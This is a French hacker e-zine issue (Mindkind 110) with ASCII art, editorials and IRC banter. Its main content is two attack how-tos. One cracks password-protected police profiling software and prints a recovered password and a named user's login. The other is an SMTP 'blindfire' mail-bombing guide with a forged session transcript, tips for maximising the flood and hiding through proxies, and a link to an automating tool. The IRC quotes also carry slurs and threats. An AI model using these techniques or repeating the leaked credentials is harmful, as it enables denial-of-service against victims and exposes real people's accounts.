.- - -, .- - -. .- - ------ - -. __ __ __ __ __
| | | | | | | | | |/ /
| | | ' | | | | | /
| | | | | | | | _ | \ _
| . ' : | | |__|__|__| |_| |__|___\ |_|
' | : | . ____ _ |
| ' | | | ' | |
| | . | : |___ __. | mindkind 110 ; bigger than ever !
| : | | | ;
| | | | | ' ------- - - - -------------- - - ----
| | | | . |
| | . | | .
| _| | : , _ |
'---| \ '- ---' '-- -- -/ |----'
\ / \ /
| | ."'\"/"". | | "Well you're in your little room
| | | O'o | | |
| . | u | ' | and you're working on something good
& ' ' ~ ' ' ,
& \__ _\ /__ _/ & but if it's really good
\ '---' /
\ == == / you're gonna need a bigger room
'. o o .'
| | and when you're in the bigger room
. __|_ _ .
\ __:__ / you might not know what to do
\ | /
\ / you might have to think of
\_______/
|__|_|__| how you got started
| |
/ ___ \ sitting in your little room"
/ / \ \
/ / \ \
: ) ( ;
' / \ ' - The White Stripes
/__/ \__\ Little room
__\ \ / /__
(______) (______)
C'est avec une modestie des plus insignifiantes que nous dévoilons ce 6eme
ezine Mindkind. Nous tenons a vous avertir d'est maintenant que si par le
passez certain d'entre vous nous on trouver prétentieux ou on trouvez qu'on ne
se mêlais pas de nos affaire, et bien sachez qu'on a bien l'intention de
continuer a vous donnez raison. Le temps des fêtes arrive en sympatico haute
vitesse et nous avons décider de vous offrire non pas seulement un magnifique
ezine en cadeau, mais aussi quelque software de moraliser plus que douteuse
et bien sur des gros becs mouiller tout aussi horrifiant qu'un ezine dla
concurrence. C'est sans grande peine que nous les laissons derrière en
compagnie des citrouilles pourris oubliez a l'halloween.
Devinez qui est en avance cette année ? ce ne sont malheureusement pas les
oeufs de paques, mais la nouvelle génération de newbie tout fraîchement chier
qui vient grossir les rang de tout les groupes ridicules avec des noms plus
debilisant les uns que les autres, et je cite le rectum crew, le crosseur crew,
aka crew, anti-crew et pourquoi pas le banana crew ?
,-,--,
/ / /
/ / /
|_|__|
\ \ \
\ \ \
,----,----,-,,-,----,-,,-,----, \ \ \
| | || | \| | || | \| | || | | | \
| >=| | | | | | ; ; ;
| | /\ | |\ | /\ | |\ | /\ | > > >
'----'-''-'-''-'-''-'-''-'-''-'/ / /
/ / /
/ / /
/ / /
/ / /,-----,,------, ,------,,---, ,---,
/ / / / / | __ \ | || | | |
/ / / / / | | \ \ | ,---'| | | |
/ / / / / | |__/ / | | | | | |
/ / / / / | __/ | '---,| | /\ | |
/ / / \ \ | \ | || \/ \/ |
|/_- \ \ | \ | ,---'| |
\ \ | |\ \ | | | _ _ |
\ \ | | \ \ | '---,| / \/ \ |
'-----''---' '--''------''---' '---'
Ping ping ping ping ping ping ping
Banana crew
Ping ping ping ping ping ping ping
Banana crew
I've got this feeling
so appealing
for us to get together and ping - PING!
Ping ping ping ping ping ping ping
Banana crew
Ping pong ping pong ping pong ping
Banana crew
It grows in bunches
I've got my henchman
Its the best
beats the rest
follower modular
interuberhaxor
Ping ping ping ping ping ping ping
Banana crew
Ping pong ping pong ping pong ping
Ponana crew
Its no a llamah
It aint a newby
My follower
Bananular crew
Don't need head quarters
don't need lames
to call a bot of mine
dont need real life or tv
to have a real good time
I'll flood for pizza
I'll flood my cat
I'll flood the whitehouse, have a cheat
I'll place bot's around the world
Operator get being ping ping ping ping
Ping ping ping ping ping ping ping
Banana crew
fling flang fling flang fling flang fling
Banana crew
It's a real lame mama and papa crew
a brother and sister and a dogacrew
a grandpa crew and a grandma crew too - oh yeah
my follower bananular crew
Banana crew
ping... ping... ping...
Its a crew with appeal (a peel)
Banana crew
ping... ping... ping...
Now you can have your crew and screw it too
Banana crew
ping... ping... ping...
This song drives me .... bananas
Banana crew
ping... ping... ping...
Bo ba do ba do do newb
this song drive's me, yeah fucking right. Et si vous voulez savoir sque
vous auriez l'air a essayer de chanter c'est parole par dessus l'excellent
original de raffi (bananaphone), bien il vous sera possible de le faire en
écoutant le mp3 (bananafauxcrew.mp3) contenu dans la version FULL de ce e-zine.
Après ça vous allez être sur de pas vouloir essayer ;].
__
,,--`'`'``'`'`--,.
,-;`'``' . `'`;-.
,,-;'`' . ``';-.,
_.;` , , . `;._
,-' ; , , `-,
,l , . , , , l,
.` . , . . . , '.
l` . ; , , . `l
,` ; , , , , ; . , , ',
l . , . . . . l
,' , . , . . `,
.l , , , . . , l.
| , | , . . , |
| , , . | , , , , |
| --#-- . , |
| . , , . | , . |
| . | , . , |
| . , |
| . , ,.. , , |
| . .ip` ___ o . . | |
| , :Gn SantAO;.,_n__n, -+- |
| | , `lb., , ClauS/` WW WW | ; |
| -+- `` ~'''~ . + . |
| . | . , |
| , . |
| . . , |
| , , . |
| , , |
| . , |\ . . + |
| , | \ , . ,______, | |
| |_/| . | | | /|,|
| ,____ |_/| | -+- | _/_/ | / | |
| | \ |_/| |_____ | | _/_/ | / | |
| |_/_/ \ |_/| ,/ \, . | _/_/ | , /_/ | |
| |_/_/_/\ , |_/| | _/_/_/ | | _/_/ | / _/ | |
| |_/_/_/ \ |_/| | _/_/_/ | | _/_/ | /_/_/ \ |
| |_/_/_/_/\ |_/| | _/_/_/ | . | _/_/ | / _/_/ \||
| |_/_/_/_/ \ |_/| | _/_/_/ | | _/_/ | /_/_/_/ \||
| |_/_/_/_/ / / _/| | _/_/_/_/\__ | _/_/ | | _/_/_/ \||
| |_/_/_/_// /_/_/| | _/_/_/_/_/ \ __; ;__ /_/_/_/ | | _/_/_/ \||
|_/ \___/ \___/ \_|oo|_|##|_/ |__| \||
| |
|____________________________________________________________________________|
|- (.__//__//__.)(.__//__//__L) - - - - |
|______OO______OO____OO______OO______________________________________________|
,| |,
,| _________________________________________________________________ |,
,| / \ |,
,/ / \ \,
| \ Merry Fucking Chrismas / |
| \ / |
| \________________________________________________________________/ |
|_____________________________________________________________________________________|
_/
__________________________________________
______/ _/_/_/ _/_/_/ _/_/ _/ _/_/ \_________
____/ _/ _/ _/ _/_/ _/ _/ ____\
/ _/ _/_/_/ _/ _/ _/_/ ________/
/ ____________________________________ _____ ___/
| J / \\ \\
| o | .---+-=[ Topic of The ... Zine ]=---\\----\\----------+-------------------------=[N/A]=----.
| y &| | i| \___________________ ___ __ _ |
| e | | I| \ |
| u B| | I| '-=[ Mk-110 ]=-|
| x o|==| // | |\
| n| | L\:-=[01] -~{ Le patrimoine lemurien }~--~{ By: ( LastCall_ ) }~-]=--[~~]----| | \
| N n| | [02] -~{ Cracking some Nasty software }~--~{ By: ( Mindkind ) }~-] \/ | |H |
| o e| [03] -~{ blind fire }~--~{ By: ( __2 ) }~-] | |a |
| e | | [04] -~{ Advanced Script Injection }~--~{ By: ( Wyzeman ) }~-] |p |
\l A| | [05] -~{ Doomsday device part 1 }~--~{ By: ( Qwzykx ) }~-] Don't put |p |
| n| | [06] -~{ the real slim portknocker }~--~{ By: ( Phawnky ) }~-] this Zine | |y e\
| n| [07] -~{ Hardware Overclocking }~--~{ By: ( Spider ) }~-] too close | | n |
| e|==| [08] -~{ Note sur Windows XP SP2 }~--~{ By: ( Lastcall_ ) }~-] of your |H |
| e| [09] -~{ SSh Stealth connection }~--~{ By: ( Phawnky ) }~-] hears... |==|a r |
| | | [10] -~{ Cause S of S-E means Social }~--~{ By: ( Wyzeman ) }~-] | |l e |
\ | | [11] -~{ RSS pas XSS ciboire }~--~{ By: ( Nothing94 ) }~-] | |l t |
| | | [12] -~{ A tales of interest }~--~{ By: ( __2 ) }~-] | |o a |
| | [13] -~{ When led leads to lockpicking }~--~{ By: ( Qwzykx ) }~-] | |w r |
| | |-[~]-=[14] -~{ Nbtel, rise }~--~{ By: ( c4ndu ) }~-] |e d |
\ | | : }~-] | |e . |
\| : }~-]=-----=:\T | |n . |
| : // | | . |
| : |I | |
: |i ==| |
'_______________________________________.I[ Event ]I.__________________________________+___' | |
______//___________//__________/ /
_______/ /
/ _____/
/_____________________________________/
avant de lire ce manuscrit quelque règle de sécurité sont a prescrire
1) Mindkind vous rappelle que toute découverte de hiéroglyphe ou message secret
découvert a travers les pages précédente ou subséquente est un phénomène
pouvant entre d'écris sous le nom d'hallucination probablement du a une
consommation irresponsable de saucisse hygrade. mais essayer pas on la vue le
ptit bonhomme dans le coin en bas nous autre aussi et non le bonhomme fort du
ascii d'entrée du e-zine n'a pas de chancre moux sous les aisselles.
2) Mindkind tien également a vous aviser que quiconque sera pris en flagrant
delis de rip sera sévèrement gronder et privée de sorti durant 2 semaine.
3) si jamais vous aviez dans la tête de faire un truc illégal, et bien
rappelez vous que cette idée viens de vous, pour le restes on veut rien savoir.
4) nous ne somme pas responsable des cas dhemoragies occasionner a ceux qui
désirerons se torcher avec la version papier de se ezine.
5) Attention surface glissante.
___) (__
(_ _)
_____) ( ) ) ( _)_(_) (_)_(_)_(_( (______
(_____ ) ( ) ( ) ) _____)
_) ( ) ( ) ( __) ( (_______
(_ ) ( ) ( ) ) __)
___) ( ) ( ) ( ( (____
______( ) ) )_(_)_( ) _______)
(________ )____________
(__ ______ ______________)
_) ( _( )_(_)_( ( _)_)_( )_(_)_)_(_) (_______
(_ ) ) ( __) ) ) ( ___)
_____) (__ (__ ) ( ( ( ) __)
(_____ ( ) (_(__ ) ) ) ( ___)
_) ___) ( ) ( ( ) (________
(___ )_______) ( )_(_)_( ( _______)
) (
et puis nous voudrions vous donne de petite suggestion sur comment bien danser
en public.
1) éviter de danser avec une bière
2) éviter de danser avec vous même
3) éviter de danser
.---+-=[ Le patriomoine Lemurien ]=------+---------------------------=[01]=----.
| i| \__________________ ___ __ _ |
| I| \ |
| I| '-=[Lastcall_ ]=-|
| // |
| L\:-=[Ak : c'étais benbenbenben l'fun ]=--------------[~~~~~~~~~~~~]-----|
| \ / |
'________________________________________________________________________.I[MK-110]I.______'
Enfin un véritable patrimoine
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
patrimoine n. m.
1. Biens et valeurs détenus, à la suite d'héritages,
par une personne ou par un peuple.
2. Propriété commune à un groupe, à une collectivité, transmise par les
ancêtres. La science est le patrimoine de l'humanité.
Curieusement, des valeurs dans un "magasine", on appel ça un éditorial. Vu
qu'on est Mindkind, on va appeler ça un patrimoine (faut croire qu'on se
croit) car il s'agit du résultat de la sommes de nos pensées, le tout défini
par Mindkind "la collectivité" (aka le collective, résistance is futile, heh)
Donc, depuis le début des ezines, on vous disait carrément qu'on était en
train d'écrire l'histoire (avec des faits). L'histoire de Mindkind.
Maintenant, on lâche les faits, et on se garoche dans les opinions. Les
opinions de Mindkind.
Sans plus tardés, voici les opinions. Ce sont des choses qui choques, des
choses que moi même LastCall_ je pogne les nerfs quand qqn d'en Mindkind m'en
parle avec un air d'en savoir plus que moi, mais pourtant, elles doivent
être dites, car c'est ça la fucking liberté d'expression.
Vous êtes encourager a nous ostiner la dessus, mais seulement si vous avez
des arguments intelligents et que vous vous entendez sur une partie du
sujet (car après tout, ceux qui sont totalement contre sont pas dans
notre style de pensées.. donc pkoi s'ajuster a eux? au pire starter vous un
ezine).
Le hacking selon Mindkind
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
La plupart du monde qui blast Mindkind, nous pose comme lapin que notre ezine
est pas majoritairement du "hack".
C'est quoi du hack?
./l33tr00t0r 24.5.5.5
#root~] echo iamleethax0r
ça?
Nah, pour nous le hack, c't'un moyen de contourner quelque chose. Une
méthode alternative, pour un résultat alternatif. Une idée géniale, pour
arriver à une solution jubilante.
Donc, un hacker, c'est une personne qui est capable de faire toute ça. Et pour
être capable de faire tout ça, ça prends un bunch assé grand de connaissance.
Par exemple, tu hack une box Unix. Facile se servir de ./l33tr00t0r,
maintenant une fois "in" tu fais quoi? Install une backdoor et vlan? Sachez
que la limite entre le script kiddies et le hacker est la, celui qui connaît
le système, ou qui fini par le connaître est un hacker. C'est donc la qu'on
trace la ligne entre le newbie pis le script kiddies. Un newbie va tacher
d'apprendre, un script kiddies va rouler un autre script pour "owner la
machine".
Fak c'est la qu'on se fait poser la question, êtes vous des VRAI HACKERS!?!?!
La réponse c'est ça dépend. On dirait que tout le monde utilise ce mot la pour
expliquer ce que ça leur tente, j'fais la même chose avec le mot "col bleu".
Certains on une définition du hacking comme étant quelque chose d'exclusif,
mais Mindkind, par contre, a la tendance de croire que le hacking devrait être
un peu comme la fine cuisine lémurienne, de quoi qu'on peut enjoy avec un peu
temps a mettre. Fak pour les extrémistes compulsif (hey c moi ça?), non on
fait pas du hacking, on fait de l'informatique.. mais pour ceux qui savent
tempérer leur vie on peut sûrement être une bonne source de hacking
quotidienne...
Donc, pour bien vous remplir la pense, voici une liste d'épicerie d'articles.
Y'a une tonne d'exemple qui nous vient en tête, mais nous croyons que si on
prends des articles "Mindkind" un à un, on arriverait a de quoi... les voici
par types. On vous rappelle que les articles sont dispo individuellement sur
le site web www.mindkind.org dans la section database.
- OS
Comme dit avant, connaître les OS c'est bon. Que ce soit le fonctionnement
interne qui nous permet de songer a du code (hidinglkm.txt, qnx.txt, mbr.txt)
ou encore les moyens de faire de l'administration système (slackboot.txt,
armoringslackware01.txt, armoringslackware02.txt, iptables.txt) si vous voulez
être un hacker "complet" il vous faut ces skills. (root4rent.txt, ipc.txt,
tsweb.txt, tips_getboxinfo.txt).
- Coding
A moins que vous êtes capable de manipuler le binaire "à la main" (alors la
chapeau), coder, même si c le plus futile que possible (scripting, script
shells), s'avère une skill importante. Même si vous commencer par coder de
quoi de simple (perl1à3.txt, introasm.txt, tclsocket.txt, winrawsocket.txt)
vous finirez par faire de quoi de pratique (tips_xdccleach.txt,
php_htfleecher.txt) et ultimement vos codes vont vous aider a parvenir à vos
fins (php_ezportknocking.txt). Et si vos fins sont encore plus grande, et bien
vos méthodes de coding devront s'y ajuster (php5.txt, perl4à5.txt,
makefile.txt).
- Cracking (tout les sens du termes)
Sujet en lui-même peu touché par Mindkind, car tlm sait se servir de john, le
cracking de software (softice.txt) est pratique. Même que quand on y pense, se
savoir se servir de GDB, c hacker comme un élite (fmt.txt, buffnop.txt,
FormatStringAttack.txt).
- SE
Si jamais un jour vous voulez aller encore plus loin dans vos hack, ça vous
prend des skills de crosses sociales. En faite, ya pas que le "information
gatering" (tips_freeisp.txt, tips_hackfuturshop.txt, pwesson.txt,
infiltration01et2.txt) d'important. Ya aussi le quoi faire avec les choses une
fois que vous les avez (moneymaker.txt).
- Philo
Et c'est la qu'arrive la philo. Avec quels skills vous allez vous estiner avec
le monde? (lepouvoirdescons.txt, readordie.txt, guerreetphilo.txt, etc) Quels
modes de pensées vont définir vos motivations? (introspection.txt,
sadness.txt, etc) Contre quoi allez vous vous rebellez? (deshumanisation.txt,
fuckuimlouis.txt, tournepasrond.txt, sasuxx.txt, etc). Un hacker sans
philosophie, c'est un mindless drone qui connaît tout ses taches mais qui se
fixe jamais de buts.
- Phreaking (Urban Exploring ~ wardriving)
On vote pour une convergence du phreaking (vmb.txt), en toute cki peut être
des hacks des explorations (wifi.txt), des modifications
physiques(wanalockpicking.txt, howtolockpicking.txt), électronique (light.txt,
radioscrap.txt). C'est pourtant rendu une chose rare, le phreaking, mais
pourtant comment on ose s'appeler un hacker si on paye pour faire des
conférences à 5 ?
- Contre-Culture
En lien fort avec la philo, la culture est ce qui nous tente de faire. Ce
qu'on a envie de dire. Toute l'ensemble des articles mentionnés avant (ainsi
que ceux non mentionnés) font partie d'une culture, la notre. Sans cette dite
culture, qui est différente des autres, on serait juste une gang de suiveux
qui voudrait "faire comme phrack paske phrack c le best". Et bien si vous, ça
vous tente de vous faire menez par une mono-culture qui est basé aux USA, go
for it, nous on va continuer de faire évoluer la notre, qui est influer par
les autres, mais qui n'en est pas une copie ou un "c ça ou cé rien".
Conclusion
¯¯¯¯¯¯¯¯¯¯
Eh voila, changement drastique dans la formule. Pourtant ça fait déjà
quelque années qu'on pense de même.. ça fait déja quelque année que dans
le groupe, ont a décrit nos partages, mais on dirait qu'on a jamais vraiment
donner a l'extérieur, well, maintenant vous l'avez. So enjoyer le reste du
eZine, et augmenter vos skills tel un undead lvl24 à WoW.
!!!! Mindkind SuperStars !!!!
/\
___/ \___
\ | | /
\\____//
/ .. \
/,-` '-.\
` `
__ ,,
_'`M \-`_/
,/` ___K /
.-`"` 0 0`_`
|@`" . `)
`-__ """"-`
/ ,` ``'`\`
/ ,` /_/___\
/ ( `, O: .
/ `.----`: `-`` l
| ( / `-./ /
| (,` `-/
/ \.`
/ / / /
/ / /
/ ..
/ / ,` `. .`,
____________ / \ / \ /o \
`, / |\\//| \ |. `//'`^.
_____________| / |_;;_| \ |/||/ `/ :. . /\ .
|` \ ____ / || \/ \/ | \``/ \`./|
| \ /\/\/\ / \ /\ /\ | _/ ( ) :
| \\_/\_// |__`__/ (' \_______/
___________|_____________________V__V_________//____\\____//_______/:____
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
| i|#hack.fr, un endroit respectueux des cultures \___________________ ___ __ _ |
| I| \ |
| I| (au fait quelqu'un sait c qui ? :]) '-=[ Mk-110 ]=-|
| // |
| L\:-=[<{MADBoY}> Ce sont pas des vrai Hacekrs ]=--[~~]----|
| [<{MADBoY}> ce sont des lamers ] \/ |
[<{MADBoY}> ce sont des cons ] |
| [<{MADBoY}> jammais les français etais des hackers ] Light can
| [<{MADBoY}> et aucun ne peux me repondre ] be harmfull
| [<{MADBoY}> sinon je l enculer devant vous ] beware of |
[<{MADBoY}> y a quelqu un ki peut me repondre ici ...??? ] the |
[<{MADBoY}> Ils me connaissent bien ] photonic |
| [<{MADBoY}> j ai leur donner une leçons l autres fois au hacks ] killer...
|-[~]-=[<{MADBoY}> Pour connaitre ke je suis Un Marocain ki peut les Niker ]
]=-----:\T |
| // |
|I
|i
'_______________________________________.I[ Event ]I._________________________________+____'
.---+-=[ Cracking some Nasty software ]=------+---------------------------=[02]=----.
| i| \__________________ ___ __ _ |
| I| \ |
| I| '-=[Mindkind ]=-|
| // |
| L\:-=[Ak : C'est pas moi pi vous mavez pas vus ]=--------------[~~~~~~~~~~~~]-----|
| \ / |
'________________________________________________________________________.I[MK-110]I.______'
Cet article n'est pas une tentative de lancer un défi aux services secret du
pays ni une façon de se faire accepter dans l'équipe des rouge des terroristes.
Nous n'utilisons pas le logiciel C216E et jamais il nous est venu dans
l'idée de le distribuer. Les informations divulguées ici ont été transmises sur
internet par le CPIC lui-même et nous considérons qu'il est le seul responsable
si des données secrètes sont dévoilées dans cet article. De plus, l'équipe de
mindkind considère irresponsable de la part de nos forces policière et de la
part d'interpole de laisser des informations telles que retrouvées dans la base
de données du logiciel en circulation sur internet avec une si faible
protection.
L'équipe de mindkind couchée dans un lit double s'émerveillant de la
technicité du plafond et se retournait sur son sort en se demandant ce qu'elle
pouvait faire pour améliorer le fear factor de son e-zine quand elle fût
soudainement frappée par un éclair de géni. Reverser des tools de good guy.
Après quelques inutiles et discutables recherches google notre attention fût
portée sur le site du CPIC (Canadian Police Information Center) et son logiciel
de profilage de criminel "protégé" par mot de passe... offert en
téléchargement?! Heureusement, il est servi avec une mise en garde disant
exactement : Please note that this software is strictly for use by Private
Fingerprinting Agencies and does not contain any information for searching or
processing criminal records.. Ça tombe bien, on veut seulement le "déplomber"
(*Cough*).
Une fois le logiciel téléchargé on peut vite constater qu'il demande comme
prévu un mot de passe. Le premier réflexe serait de décoller OllyDbg pour le
cracker mais si vous avez un bon sens de l'observation vous avez pu remarquer
que sur le site ils offrent les composants MDAC en téléchargement. Ça pue
Access à plein nez. Comme de fait si vous regardez attentivement dans le
dossier du logiciel pendant qu'il s'exécute vous pourrez remarquer la présence
d'un fichier NPSADT.LDB (Access lock db file). En fesant une petite recherche
dans ce dossier vous pourrez aussi remarquer que le fichier NPSADT.DLL est
existant.
Premier réflexe : l'ouvrir avec Access. Comme nous l'avions estimé accès
reconnaît sans problème le fichier comme une basse de données et nous demande
un mot de passe. Heureusement, les mot de passes Access se crackent assez
rapidement avec l'utilitaire ACPR (password : m4a1p228 trouvé en ~1 segondes).
On entre alors dans la base de données et on se promener dans les tables
vides. Comme vous pourrez le remarquer, certaines tables comme OriginDeptAgency
contiennent plus d'informations sur les services policiers que vous n'en
connaissiez déjà et la table tblUsers contient des username et des mots de
passe tels que slauzier/m4a1p228. Comme c'étais le même mot de passe que la
base de données, c'est le mot de passe que nous avons essayer mais, ho!,
mauvaise surprise, le logiciel nous retournes une erreur disant d'utiliser
les informations fournies au préalable.
Nous avons donc démarrer un debugger quelconque (OllyDbg) et suivi
l'exécution jusqu'à ce que nous arrivions sur une requête SQL q ui demande des
informations à la table tblConfig. Cette table est originellement vide, l'idée
c'est de créer une ligne de configuration pour l'utilisateur souhaité. Nous
avons donc créer une ligne avec SEBASTIEN LAUZIER comme PDname (hahaha pd!) et
paff, l'application démarre.
Une fois l'application démarrée, vous n'aurez accès a rien parce que
votre ligne de configuration est invalide dans la base de données. Ce que je
vous suggère c'est de bruteforcer les quelques 10 valeurs jusqu'à ce que vous
trouviez une bonne combinaison, c'est assez facile, on vous laisse le faire.
The Mindkind Team
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
| i|#hack.fr, un endroit accueillant et stimulant \___________________ ___ __ _ |
| I| \ |
| I| '-=[ Mk-110 ]=-|
| // |
| L\:-=[ toujours peu de conversation ici..... ]=--[~~]----|
| [ les hackers sont des grands timides...ou alors ils ont peu ] \/ |
[de choses a dire..... ] |
| [ ya un proverbe qui dit que ceux qui parles le plus sont ceux ] There is
| [qui en savent le moin... ] do, and do
| [ comprend tjrs pas pk le monde pense qu'il ya des ] not, there|
[discussions de hack ici! ] is no try |
[ Ninja|UFM ben voyons, attend jva paster une liste de cc ] |
| [ a pi jva aussi laisser ma mac address pi mon # de telephone ]
|-[~]-=[ ya tu quelquun qui veut mon nas ? ]
]=-----:\T |
| // |
|I
|i
'_______________________________________.I[ Event ]I._________________________________+____'
.---+-=[ SMTP Weapon Of Mass Destruction ]=------+---------------------------=[03]=----.
| i| \__________________ ___ __ _ |
| I| \ |
| I| '-=[__2 ]=-|
| // |
| L\:-=[Ak : The Blindfire attack ]=--------------[~~~~~~~~~~~~]-----|
| \ / |
'________________________________________________________________________.I[MK-110]I.______'
Je vais vous parlez aujourd'hui d'un problème méconnu du protocole SMTP
permettant de générer du trafic à la pelle. L'utilisation normale de cette
faille mène inévitablement vers du flood de "mail box" et des DoS. Je
n'incite aucunement ce genre d'activité mais j'ai tout de même pensé que cela
pourrait en intéresser plus d'un ;)
Lors de l'envoie normal d'un courriel, le client se connecte au serveur SMTP,
s'identifie, définis une source, définis une cible ou plusieurs copies
carbones. Le tout suivi du contenu du courriel et de la déconnection. Au
niveau protocole cela ressemble à ceci :
-------------------------Connexion établis au serveur SMTP-----------------------
SERVER << 220 router.eden ESMTP Sendmail 8.12.11/8.12.11; Fri, 5 Nov 2004 00:47:36 -0500
CLIENT >> HELO test@source.com
SERVER << 250 router.eden
CLIENT >> MAIL FROM:
SERVER << 250 Sender Ok
CLIENT >> RCPT TO:
SERVER << 250 Recipient Ok
CLIENT >> DATA
SERVER << 354 Ok Send data ending with .
CLIENT >> Subject: this is a test
CLIENT >>
CLIENT >> Body go here
CLIENT >>
CLIENT >> .
CLIENT >>
CLIENT >>
SERVER << 250 Message received: 20041105054612.RKSC25820.router.edent@[1.2.3.4]
QUIT
221 router.eden ESMTP server closing connection
-------------------------Déconnection--------------------------------------------
La technique dont je vais vous parlez exploite ce mécanisme en modifiant la
source et les cibles d'une façon spécifique. Le concept est en fait fort
simple, il suffit de placer l'adresse courriel victime en tant que source et de
glisser plusieurs destinations bidons durant l'expédition du courriel. Le
serveur SMTP se retrouvera dans l'impossibilité d'expédier le courriel aux
destinations choisis et émettra un message d'erreur vers la source (la victime
dans le cas suivant). Pour chaque nouvelle destination, la victime recevra
un message supplémentaire. Un serveur SMTP fournis par votre ISP permet
généralement d'allouer ~100 destinations par courriel. Cela peut varier d'un
ISP à l'autre et j'ai eu la chance de faire des exp‚rimentations sur des
serveur SMTP permettant jusqu'à 500 destinations.
Donc, théoriquement, si j'envoie 10 courriels de ce type, je génère 1000
courriels qui iront directement dans la "mail box" de notre victime. L'avantage
est que les courriels sont transmis par le serveur SMTP et non pas par vous.
Cela ne se termine pas là, bien entendu. Dans les courriels qui sont forgé nous
pouvons aussi glisser de la donnée bidon, ce qui augmentera la grosseur du
courriel. Si nous reprenons l'exemple des 10 courriels qui en génère 1000, on
peut déduire que 10 courriels de 200k (2megs total) génère 200 megs de "JUNK".
Maintenant que j'ai votre attention, je vais parler des quelques règles à
suivre pour mener à bien l'opération.
1) Utiliser des nom de domaines différents car si vous utilisez 100
destinations provenant du mˆme nom de domaine, le serveur coupera court et
ne vous envoiera qu'un seul courriel contenant tout les destinations ratés.
2) Dans certains cas, le serveur SMTP fait une vérification préliminaire du
nom de domaine, alors vous allez devoir vous faire une liste de nom de
domaine non fictif.
3) Certains serveurs de courriel n'acceptent pas les courriels trop lourds, il
faut en tenir compte.
4) Il est conseiller d'envoyer les courriels fautifs via un Proxy HTTP mal
foutu ou tout autre façon détourné. Une vieille technique me revient à
l'esprit, le "almighty FTP BOUNCE".
Voici un exemple d'une session SMTP forgé :
-------------------------Connexion établis au serveur SMTP-----------------------
SERVER << 220 router.eden ESMTP Sendmail 8.12.11/8.12.11; Fri, 5 Nov 2004 00:47:36 -0500
CLIENT >> HELO test@victime.com
SERVER << 250 router.eden
CLIENT >> MAIL FROM:
SERVER << 250 Sender Ok
CLIENT >> RCPT TO:
SERVER << 250 Recipient Ok
CLIENT >> RCPT TO:
SERVER << 250 Recipient Ok
CLIENT >> RCPT TO:
SERVER << 250 Recipient Ok
CLIENT >> RCPT TO:
SERVER << 250 Recipient Ok
CLIENT >> RCPT TO:
SERVER << 250 Recipient Ok
CLIENT >> RCPT TO:
SERVER << 250 Recipient Ok
CLIENT >> RCPT TO:
SERVER << 250 Recipient Ok
CLIENT >> DATA
SERVER << 354 Ok Send data ending with .
CLIENT >> Subject: this is a flood
CLIENT >>
CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned.
CLIENT >>
CLIENT >> .
CLIENT >>
CLIENT >>
SERVER << 250 Message received: 20041105054612.RKSC25820.router.edent@[1.2.3.4]
QUIT
221 router.eden ESMTP server closing connection
-------------------------Déconnection--------------------------------------------
Ici j'ai couper dans le nombre de destination et dans la grosseur du courriel
pour pas me faire dire que je fait du remplissage inutile :)
Il vous est peut-être venu a l'esprit qu'il serait pratique de connaître le
nombre maximum de destinations(copies-carbonnes) qu'un serveur peut permettre.
Il suffit tout simplement de se branché sur le serveur normalement, d'envoyer
plusieurs "RCPT TO" suivi d'un "DATA" et de 2 CRLF suivi d'un "." et à
nouveau 2 CRLF. Si il y a trop de destinations le message ne sera pas envoyer
et un message d'erreur sera retourner. (Stupidement le serveur retourne la
bonne valeur dans la majorité des cas.)
En conclusion, j'aimerais parler des impacts possibles de cette technique
pratiqué par des gens sans scrupules. Flooder une seule personne peut paraître
amusant mais il y a vraiment matière pour faire plus, comme anéantir le pouvoir
de transmission de plusieurs serveurs pendant de très longues heures. Imaginons
le cas hypothétique d'un WORM qui utiliserait cette technique pour flooder
l'adresse de courriel d'une organisation internationale et connue, même si la
victime finirait par changer de courriel, le trafic engendrer serait d'une
quantitée colossale et difficile à manipuler (Un beau calvaire pour
l'administrateur). Alors sur cela, ne faite pas les cons et si la tentation est
trop forte, n'en parlez pas a personne :)
http://mrgibson.no-ip.com/random/blindfire/
(aussi disponible sur www.mindkind.org)
- Petit programme multi plate-forme de mon cru
qui automatise le processus.
Greet to:
Nexact, sans qui j'aurais oublier de ressayer cette technique
(que j'avais déjà utiliser en 2000 sur un serveur intranet) ainsi
qu'aux lémuriens en migration vers freenode :)
__2
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
| i|#hack.fr, un endroit respectueux des cultures \___________________ ___ __ _ |
| I| \ |
| I| (MADBOY prise 2) '-=[ Mk-110 ]=-|
| // |
| L\:-=[<[{N|KeUR}]> slt ]=--[~~]----|
| [ jme demande ce que tu nike ] \/ |
[<[{N|KeUR}]> ta mere, ta soeur et toi aussi ] |
| [ tu magasine pour un kickban? ] left blank
| [* Wyzeman sets mode: +b *!*@MADMAD1.users.undernet.org ] on purpose
| [* [{N|KeUR}] was kicked by Wyzeman (J'va t'apprendre un jeu rigolo a ] |
[grand coup de chaine de velo) ] |
[ [{N|KeUR}] on @#Interdit @#hacks_World @#pirataeurs ] |
| [ fear, on a reveiller une terreur ]
|-[~]-=[(PRIVMSG)<[{N|KeUR}]> 10 seconde, tu me Unban sinon ]
]=-----:\T |
| // |
|I
|i
'_______________________________________.I[ Event ]I._________________________________+____'
.---+-=[ Advanced Xss Injection ]=------+---------------------------=[04]=----.
| i| \__________________ ___ __ _ |
| I| \ |
| I| '-=[Wyzeman ]=-|
| // |
| L\:-=[Ak : Le syndrome de la quotes chronique ]=--------------[~~~~~~~~~~~~]-----|
| \ / |
'________________________________________________________________________.I[MK-110]I.______'
Des fois il ne s'agit pas tant de trouver de nouvelle faille que de trouver
de nouvelle emplois aux anciennes. Les failles de type XSS sont très connu et
